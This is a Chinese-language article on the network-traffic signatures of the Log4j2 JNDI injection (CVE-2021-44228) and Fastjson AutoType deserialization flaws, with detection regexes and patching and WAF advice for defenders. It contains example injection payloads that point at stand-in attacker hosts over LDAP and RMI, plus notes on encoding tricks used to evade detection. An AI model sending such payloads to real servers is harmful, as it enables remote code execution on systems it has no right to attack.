文章目錄
- 一、Log4j2流量特征分析
- 1. 漏洞原理簡述
- 2. 核心流量特征
- (1)請求特征
- (2)響應特征
- (3)日志特征
- 3.檢測與防御建議
- 二、fastjson流量特征分析
- 1.漏洞原理簡述
- 2.核心流量特征
- (1)請求特征
- (2)響應特征
- 3.檢測與防御建議
一、Log4j2流量特征分析
攻擊鏈:
Log4j2:惡意請求 → JNDI解析 → LDAP重定向 → 加載惡意類 → RCE
1. 漏洞原理簡述
Log4j2漏洞(CVE-2021-44228)源于JNDI注入機制。當應用程序記錄包含${jndi:ldap://attacker.com/Exploit}
的惡意字符串時,Log4j2會解析該表達式并加載遠程惡意類,導致**遠程代碼執行(RCE)。
2. 核心流量特征
(1)請求特征
- 協議標識符:
請求中出現jndi:ldap://
、jndi:rmi://
、jndi:dns://
等協議關鍵字,常出現在HTTP頭(如User-Agent
、Referer
)或URL參數中1,2,9。
示例:GET /search?q=${jndi:ldap://malicious.site/Exploit} HTTP/1.1 - **編碼混淆** 攻擊者使用URL編碼(如`%6a%6e%64%69`代替`jndi`)或大小寫轉換(如`JnDi`)繞過基礎檢測。
(2)響應特征
- 異常堆棧信息
響應包中出現javax.naming.directory.InitialDirContext
等JNDI相關類名,或JNDI lookup successful
日志。 - 外聯行為
成功利用后,服務器向攻擊者控制的LDAP/RMI服務器發起連接,流量中可見非常規端口(如1389)的TCP請求。
(3)日志特征
- 高頻異常記錄
日志中頻繁出現含JNDI字符串的異常條目(如${env:os.name}
動態解析失敗)。
3.檢測與防御建議
檢測手段 | 防御措施 |
---|---|
正則匹配:\$\{.jndi:(ldap\|rmi).} | 升級至Log4j2 2.17.0+并移除JndiLookup類 |
監控非常規外聯(如LDAP非默認端口) | 設置log4j2.formatMsgNoLookups=True |
分析異常堆棧中的JNDI類名 | 網絡隔離:限制服務器對外訪問權限 |
二、fastjson流量特征分析
攻擊鏈:
Fastjson:惡意JSON → AutoType加載危險類 → JNDI注入/本地代碼執行
1.漏洞原理簡述
Fastjson漏洞由反序列化AutoType功能引發。攻擊者構造含@type
字段的JSON數據,指向危險類(如com.sun.rowset.JdbcRowSetImpl
),觸發JNDI注入或本地惡意代碼執行。
2.核心流量特征
(1)請求特征
- JSON結構異常
必含@type
字段,值指向高危類(如BasicDataSource
、JdbcRowSetImpl
)。
常見JSON結構不閉合(如缺少花括號)或含fastjson
關鍵字。
示例:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit"}
- 協議注入
請求體中嵌入ldap://
、rmi://
等協議地址,常伴隨Base64編碼。
(2)響應特征
- 錯誤狀態碼
響應狀態碼多為400 Bad Request或500 Internal Server Error,錯誤信息含fastjson
、autoCommit
等關鍵詞。 - 無回顯攻擊痕跡
利用DNSLog平臺時,響應包含dnslog.cn
等域名;成功執行后可能返回"commit":true
。
3.檢測與防御建議
檢測手段 | 防御措施 |
---|---|
匹配JSON中的@type 高危類名 | 升級Fastjson至1.2.83+并啟用SafeMode |
監控DNSLog域名請求 | 配置WAF攔截含${ 、@type 的請求 |
分析HTTP錯誤日志中的反序列化異常 | 禁用AutoType功能 |